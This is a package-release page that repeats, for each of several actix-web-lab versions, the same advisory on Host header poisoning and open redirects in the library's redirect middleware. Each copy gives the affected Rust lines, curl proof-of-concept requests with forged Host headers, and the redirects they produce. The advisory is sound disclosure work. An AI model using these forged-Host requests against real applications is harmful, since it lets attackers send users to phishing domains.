actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 03, 2022

0.12.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 02, 2022

0.12.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 25, 2022

0.11.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 22, 2022

0.10.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 07, 2022

0.9.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 22, 2022

0.8.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 20, 2022

0.7.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 19, 2022

0.7.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 18, 2022

Activity

Reach

Details